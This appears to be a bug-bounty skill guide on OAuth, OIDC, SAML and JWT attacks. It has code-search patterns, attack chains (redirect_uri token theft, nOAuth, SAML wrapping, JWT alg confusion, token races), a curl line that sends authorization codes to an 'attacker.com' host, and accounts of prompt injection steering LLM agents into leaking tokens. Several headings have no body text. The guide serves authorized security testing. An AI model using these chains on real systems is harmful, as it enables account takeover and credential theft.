# A.4 Detect SAML response handler reading assertion[0] (multi-assertion injection)
ast-grep --pattern 'assertion[0]' --lang typescript

# A.5 Detect Hono JWK middleware without explicit alg allowlist (CVE-2026-22818)
ast-grep --pattern 'jwk({ jwks_uri: $URI })' --lang typescript

# A.6 Detect PKCE bypass — code_verifier not required when code_challenge present
ast-grep --pattern 'if ($CODE_VERIFIER) { verify_pkce($$$) }' --lang python

ripgrep one-liners (≥3)

# R.1 OAuth callback handlers missing state validation
rg -n '/oauth/callback|/auth/callback|/oidc/callback' --type js --type py --type rb -l \
  | xargs rg -L 'state'

# R.2 JWT libraries with verify=False (Python/Node/Go)
rg -n 'verify=False|noVerify|skipVerification|verify:\s*false' --type py --type js --type ts --type go

# R.3 Hardcoded OAuth client_secret in frontend bundle (CRA / Vite / Next.js)
rg -n 'REACT_APP_.*(SECRET|KEY)|VITE_.*(SECRET|KEY)|NEXT_PUBLIC_.*(SECRET|KEY)' \
  -g 'package.json' -g '*.env*' -g 'src/**' -g 'public/**'

# R.4 Mutable email claims used as account key
rg -n 'find_by.*email|findOne.*email|getOrCreate.*email|find_or_create_by.*email' \
  --type rb --type js --type py --type go | rg -i 'oauth|oidc|sso|claim|userinfo'

# R.5 SAML signature handlers using REXML + Nokogiri together (parser differential class)
rg -n "require ['\"]rexml" --type rb -l | xargs rg -l "require ['\"]nokogiri"

# R.6 OAuth implicit flow / response_type=token enabled
rg -n "response_type[\"']?\s*[:=]\s*[\"']?token|allow_implicit_flow\s*[:=]\s*true|allowImplicitFlow:\s*true" \
  --type js --type ts --type py --type rb

# R.7 OIDC nonce never checked
rg -n 'id_token' --type js --type py --type go -l | xargs rg -L 'nonce'

# R.8 Authorization code redeemed without client binding (CVE-2026-32245 tinyauth pattern)
rg -n 'authorization_code' --type go --type js --type py --type rb | rg -B5 -A20 'token' | rg -L 'client_id'

CodeQL hint

CodeQL has shipped tutorials for OAuth/SAML auth bypass classes — the relevant base queries are js/insufficient-key-size, js/jwt-missing-algorithm-restriction, and py/jwt-missing-algorithm. Sketch a custom predicate for nOAuth: a RemoteFlowSource reaching a User.findBy(email=...) sink without an intermediate verification of email_verified or xms_edov claim should raise a query. The GitHub Security Lab securitylab.github.com/advisories/GHSL-2024-329_GHSL-2024-330_ruby-saml writeup documents the parser-differential predicate that found CVE-2025-25291 — adapt it as a generic XmlParser1.parse(input).descendant() != XmlParser2.parse(input).descendant() taint flow.

Modern Meta — Cloud-Native, CI/CD, OSS Pipeline

OAuth/OIDC/SAML/JWT primitives apply across the entire cloud-native stack — not just web apps.

Chains & Multi-Bug Templates

Chain 1 — Open Redirect → OAuth Token Theft → Account Takeover (the universal $5K-$15K chain)

Hunter's note: This is the first chain you should attempt on every program. Don't file the open redirect alone — every triager kills standalone open redirects as Low. The pivot that separates a $150 Low from a $15K Critical is twenty minutes spent finding the OAuth flow on the same host. The open redirect must be on a host that's allowed as a redirect_uri; check the application's OAuth configuration page (often /developers, /settings/applications, or third-party login scope page) to confirm the host is whitelisted. The trick most hunters miss: the open-redirect endpoint doesn't have to be a vulnerability — many products ship intentional ?next= redirects with naive same-origin checks. Lovable.dev H1 #3599248 demonstrated even a fix bypass (the /..// path-traversal trick) is enough.

Chain 2 — nOAuth + Account Merge → Cross-Tenant Microsoft Account Takeover

Hunter's note: What worked: registering a brand-new Entra tenant takes 5 minutes via free.azure.microsoft.com — no credit card for nOAuth testing. Set the user's mail attribute (Contact Information) to the victim's email; do NOT use the UPN. The xms_edov claim was introduced post-June-2023 to mitigate this, but Microsoft set removeUnverifiedEmailClaim=true only for new app registrations after June 2023; the default for older apps is still vulnerable. Why this pays where the single bug doesn't: standalone "you trust the email claim" without a working PoC is theoretical and gets closed Informative. Demonstrate the merge against a real victim account you own (your second account on the target) and the bug becomes Critical.

Chain 3 — SAML Parser Differential → Unauthenticated Admin on GitLab Enterprise (the SAML Roulette chain)

Hunter's note: What worked: SAML Raider is the right Burp extension; do not try to craft XML by hand. The hardest part of this chain isn't the parser-differential payload — it's getting any signed assertion. Set up a free Okta developer org or use the IdP's public sandbox; the signature on your own assertion is what you'll wrap. The DOCTYPE technique only works on Ruby < 3.4.2 because REXML truncates !ATTLIST differently in newer Ruby versions; combine namespace confusion with DOCTYPE for max coverage. Why this pays: SAML is the auth protocol enterprises trust the most, so any signature bypass is a perfect storm of "production critical" and "no detection signature." GitLab paid premium because their entire enterprise tier sells on SAML SSO security.

Chain 4 — Subdomain Takeover → OAuth redirect_uri whitelist bypass → Federated Account Takeover

Hunter's note: What worked: most programs treat subdomain takeover as Low/Medium standalone, but combining with OAuth ATO escalates to High/Critical because you can prove victim impact. The hardest part: programs differ on whether they accept the chain — some say "we already paid for the subdomain takeover, the OAuth angle is duplicate." Counter this in your report by emphasizing blast radius: standalone takeover affects only users who click attacker links going to that subdomain; OAuth chain affects every user who clicks "Login with Target" anywhere. What failed first: I tried takeover → cookie injection on the apex first; modern __Host- cookies blocked it. Pivot to OAuth was 30 minutes of redirect_uri fuzzing. Why this pays: it demonstrates a real-world attack path, not a hypothetical CWE-601.

Chain 5 — MCP server misconfig → OAuth code interception → Agentic LLM API abuse → Credential exfil

Hunter's note: What worked: MCP servers are brand new attack surface and most of them are written by developers who've never deployed OAuth before. The Anthropic ecosystem (Claude Desktop, Cursor, Windsurf, claude.ai) connects to thousands of self-hosted MCP servers, and Obsidian Security's research shows the common implementation pattern is broken in at least one of: anonymous-cookie session binding, PKCE enforcement, audience validation, or redirect_uri checking. Why this pays: the OAuth bug becomes a tool-use compromise, which in agentic LLM context means private data exfil + cross-tenant pivot. The pivot most hunters miss: the MCP server's OAuth token is often passed through to a downstream API (Salesforce, GitHub, Slack), so stealing it gives you access to the underlying SaaS, not just the MCP layer. Audit WWW-Authenticate: Bearer realm="MCP" responses for resource_metadata URL — the metadata document tells you exactly which downstream APIs the token is valid against.

Chain 6 — JWT alg confusion → JWKS extraction → Service-to-Service Token Forgery → Cross-Service Privilege Escalation

Hunter's note: What worked: the alg=none variant is still a working bug despite being known since 2015 — python-jose accepts it on verify_signature: False configurations (CVE-2025-61152). The case-bypass variants nOnE/NoNE/NULL work against many homegrown JWT validators that string-compare without lowercasing. The RS256→HS256 trick has the highest impact but requires the public key to be in PEM-compatible format (some JWKS endpoints emit raw modulus/exponent only — you need to convert). Why this pays where solo "alg=none accepted" doesn't: chaining to cross-service replay shows blast radius. Triagers see "you forged a JWT for service X" and ask "so what?" — if you also demonstrate "and X's token is accepted by service Y because both sit behind the same JWT validator," it becomes a multi-system breach.

Chain 7 — Race-Condition OAuth Token Mint → Multiple Sessions → Persistence

Hunter's note: What worked: Turbo Intruder's engine=Engine.BURP2 concurrentConnections=1 requestsPerConnection=50 pipeline=False configuration with HTTP/2 single-packet (gate.openGate(150)) reliably wins token-endpoint races. The endpoints to attack are: /oauth/token, /sso/token, /connect/token, GraphQL exchangeToken mutations, and any /refresh endpoint that swaps a refresh token for an access token. What failed first: standard race attempts via requests Python library never won — needed Turbo Intruder's last-byte-sync. Why this pays: most OAuth race-condition bugs are invariants violations (RFC 6749 §4.1.2 says codes are single-use); demonstrating the violation with two different tokens is high-impact because it breaks the security model of OAuth. The triager doesn't have to decide "is this serious?" — RFC text decides for them.

Common Root Causes

OAuth/OIDC/SAML/JWT bugs cluster around predictable developer mistakes. Hunting cheat-sheet for code review or behavioral testing:

Bypass Techniques

Gate 0 Validation

Before writing the report, prove:

  1. Concrete demonstration: minimum proof. For redirect_uri leak: capture victim's code in your exploit-server access log + screenshot of admin-panel access using exchanged token. For state-CSRF linking: screenshot of victim's account with attacker's IdP linked. For nOAuth: screenshot of victim's account dashboard accessed via attacker's Entra tenant. For JWT alg confusion: forged token + screenshot of admin endpoint returning 200 with admin-only data. For SAML wrapping: forged assertion + screenshot of admin login. Never dump /etc/passwd, never cat /root/, never read sensitive PII you don't need — trigger the auth and stop. Do not pivot; do not chain to data exfil; do not dump the user table. The minimum proof IS the bug.
  1. Business loss mapping: customer PII / financial / credential / availability — pick one and quantify. nOAuth chain: "All N admins of any tenant on Entra-multi-tenant-app are accessible." OAuth ATO: "Any user who clicks an attacker URL is fully compromised — bypasses MFA, password reset, conditional access." MCP token theft: "Attacker accesses N downstream services the OAuth scope grants — list each (Salesforce read, GitHub repo read, Slack DM read)."
  1. Reproducibility in 10 minutes: write the curl one-liner. For redirect_uri bypass: curl -v "https://idp.target.com/oauth/authorize?client_id=X&redirect_uri=https://target.com.attacker.com/&response_type=code&state=Y". For state CSRF: provide CSRF PoC HTML page. For SAML wrapping: provide modified XML payload. For race condition: provide Turbo Intruder script. Triagers close anything they can't repro at lunch — make the repro one-page-max.
  1. Scope check: target asset is in-scope for the program TODAY. Asset reachable now. Vuln present now. Re-test before submission. OAuth providers frequently silent-patch — what worked Tuesday is patched by Thursday. Always re-test the morning of submission.
  1. PoC artifacts: 30-60 second screen recording (asciinema or mp4). Show the original auth flow → mutation → leaked code → exchanged token → privileged action. Burp request/response screenshots for each request: the auth request, the callback redirect, the token exchange. Curl one-liner in plain text. No edited videos.

If any of the 5 fails: stop. You have a finding, not a report.

Top-Tier Hunter Decision Engine

OAuth/OIDC/SAML bugs pay when identity binding breaks. Before reporting, name the broken binding: redirect_uri to client, state to browser session, code to verifier, token to audience, email to verified tenant, assertion to signed element, or scope to downstream resource. If you cannot name the binding, you probably have protocol noise.

Stop in 10 minutes when the issue is missing-state without account linking, open redirect without OAuth reuse, JWT storage without XSS, or parser theory without a version match. Keep chaining when you can capture an authorization code, link attacker IdP to victim account, forge a token accepted by a second service, or impersonate across tenants. Report immediately when the proof reaches victim-session creation on your own second account or downstream OAuth token use; do not dump mailboxes, repos, or customer records.

Minimum proof ceiling: capture the code/token only for your test account, exchange it once, show the resulting session or one harmless privileged action, then stop. For SAML/JWT, include the original and modified assertion/token with secrets redacted. For MCP/OAuth, list scopes and one benign tool invocation rather than exfiltrating connected SaaS data.

Real Impact Examples

Example 1 — redirect_uri-bypass ($2,000 disclosed paid bounty, single-bug high-impact)

Example 2 — dirty-dancing-postMessage-leak ($10,000 paid bounty, multi-bug chain)

Example 3 — ruby-saml-parser-differential (low five-figure to mid-five-figure private bounty range, OSS supply-chain CVE-replay)

Example 4 — MCP-OAuth-PKCE-downgrade (low five-figure range, cloud-native/CI/CD)

Example 5 — Entra-actor-token-cross-tenant (Microsoft Bug Bounty, undisclosed but documented "Critical Severity" payout, single-bug catastrophic)

Example 6 — nOAuth-cross-tenant-account-takeover (low five-figure paid range, OAuth identity-confusion class)

Anti-Targets / What's Dead

The kill-list. Where NOT to point the cannon.

Modern Expansion Pack

OAuth/OIDC/SAML/JWT applies across the 2024-2026 expansion topics. The validator looks for at least 4 of 5.

  1. Container escape — relevant via workload identity and projected service-account tokens. CVE-2024-21626 runc Leaky Vessels lets a pod escape to host; on host the kubelet TLS cert + service-account tokens become accessible, and any pod's projected OIDC token (audience kubernetes.io) can be exfiltrated. Combined with CVE-2024-23653 BuildKit GRPC SecurityMode missing privilege check (build-time escape), the exfiltrated tokens enable downstream cluster pivot. NVIDIA Container Toolkit (CVE-2024-0132 TOCTOU, Wiz Research) similarly grants host access from GPU pods, exposing OIDC trust to AWS/GCP for IRSA pod identity.
  1. ML serving / inference — model registries and inference servers use OAuth tokens for tool integration and dataset retrieval. BentoML pickle deserialization (CVE-2025-27520 critical, c2an1 disclosure via Snyk) on /summarize endpoint accepts unauthenticated requests with Content-Type: application/vnd.bentoml+pickle; if the model server's OAuth token (for downstream registry, MLflow, S3) is reachable in process memory, RCE exfiltrates it. MLflow path traversal family (CVE-2024-1560/1483/1594, all via Huntr) exposes model registry credential files. TorchServe and Triton Inference Server have similar OAuth-token-on-disk patterns.
  1. Agentic LLM tool-use — the dominant 2025-2026 OAuth attack surface. CVE-2025-68613 (LangChain langchain-experimental PythonREPLTool / PandasDataFrameAgent CVSS 9.8 critical) is the new attack class — indirect prompt injection in CSV/text/RAG context coerces the agent into writing exec()-able Python. The agent's OAuth tokens (for connected MCP servers, Salesforce, GitHub) are then exfiltrated via tool output. CVE-2025-49596 (Anthropic MCP Inspector unauth RCE) and CVE-2025-6514 (mcp-remote OAuth URL command injection, 558K downloads) directly compromise the OAuth client side. CVE-2026-21852 (the AI coding tool MCP RCE per Check Point Research) shows the malicious MCP server pattern. PolicyLayer's Supabase MCP exfiltration via tool chaining (General Analysis July 2025) and GitHub MCP prompt injection via issues (Invariant Labs May 2025) demonstrate the cross-trust-boundary token reuse pattern: a single OAuth token granted to the MCP server spans multiple downstream systems with no per-tool scope binding.
  1. Modern JS RSC / Server Actions — React Server Components / Next.js App Router OAuth callback handlers run on the backend now. CVE-2025-66478 / CVE-2025-55182 React2Shell (CVSS 10.0, Lachlan Davidson disclosure November 29 2025, Meta Bug Bounty) means any OAuth callback handler implemented as a Server Action endpoint inherits remote code execution if React 19.0/19.1.0/19.1.1/19.2.0 packages are unpatched. Vercel maintains a separate H1 program paying for WAF bypasses against this CVE. CVE-2025-55183 (Server Actions Source Code Exposure) leaks compiled Server Function source, including OAuth client_secrets accessed from environment variables. Hunt Next.js OAuth callback at /api/auth/callback/<provider> and /oauth/callback route handlers — these are React Server Function endpoints under App Router and inherit the React deserialization bug.
  1. GitOps / K8s admission — CVE-2025-55190 Argo CD project token leak (CVSS 7.7, GHSA-786q-9hcg-v9ff) exposes repository credentials including OAuth tokens to any project-scoped API token. CVE-2026-23990 Flux Operator empty-claims OIDC bypass (GHSA-4xh5-jcj2-ch8q) lets requests run as the operator service account. CVE-2026-40161 Tekton git resolver token exfil (GHSA-wjxp-xrpv-xpff) leaks the system Git API token (PAT, GitLab token) to attacker-controlled serverURL. CVE-2025-1974 ingress-nginx admission controller RCE (CVSS 9.8) — any pod-network attacker reads cluster-wide Secrets including OAuth tokens. The pattern: GitOps controllers consume OIDC for human auth and use long-lived service tokens for machine actions; mixing these scopes loses the human's scope-restriction.

Notes for the hunter

24-month meta call-out (what's changing right now): OAuth 2.1 spec adoption (PKCE mandatory, implicit flow deprecated, response_type=token forbidden) is finally arriving in production via the MCP spec mandate (2025-11-25). This removes some legacy bugs (no more dirty-dancing fragment leaks if implicit is gone) but adds new ones — every developer wiring OAuth 2.1 for MCP is making the PKCE downgrade mistake (CVE-2025-4144, CVE-2024-23647, CVE-2024-22258) because the spec text isn't crystal-clear on what "PKCE required" means at the validation layer. Simultaneously, parser-differential bugs are eating SAML libraries (CVE-2025-25291/25292, CVE-2025-46572, CVE-2025-47949 in 2025 alone) — every SAML library that uses two XML parsers internally is suspect. nOAuth is still the biggest in-the-wild cross-tenant attack surface (15,000+ vulnerable SaaS apps per Semperis June 2025); Microsoft can't fix the apps, only document the mitigation.

OSS targets where the next 6 months of paying bugs likely are:

Anti-patterns reminder (this class is NOT):

Closing thought: OAuth/OIDC/SAML/JWT are the most heavily-tested security protocols in existence yet still produce blockbuster bugs every quarter (CVE-2025-25291 ruby-saml, CVE-2025-55241 Entra ID actor token, CVE-2026-22817 Hono). The reason: the protocol is sound but the implementation surface is enormous — every endpoint, every claim, every parser, every redirect path is a separate validation logic that has to get right. Hunt the seams: where two parsers meet, where two libraries meet, where authorization ends and authentication begins, where the human flow ends and the machine flow begins. The next CVE is at the boundary you haven't tested yet.

Top-Tier Operating Manual

90-minute hunt loop

  1. 0-10 min: draw the auth flow. Identify client, authorization server, resource server, callback, token endpoint, userinfo endpoint, account-link endpoint, and logout endpoint.
  2. 10-25 min: collect binding parameters: redirect_uri, state, nonce, code_challenge, code_verifier, client_id, aud, iss, sub, email, kid, jku, RelayState, SAMLResponse.
  3. 25-45 min: test redirect and state binding. Try path confusion, open-redirect reuse, wildcard subdomain, state swap, account linking CSRF, and response-mode switching.
  4. 45-60 min: test token binding. Try code reuse, PKCE downgrade, audience confusion, issuer confusion, nOAuth email confusion, and JWT algorithm confusion.
  5. 60-75 min: test parser boundary. For SAML, look for two-parser libraries, encrypted assertion handling, namespace confusion, and wrapped assertion extraction.
  6. 75-90 min: prove one victim-session outcome on your second account and stop.

Decision tree

False-positive graveyard

Program economics

Report framing

Automation harness

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.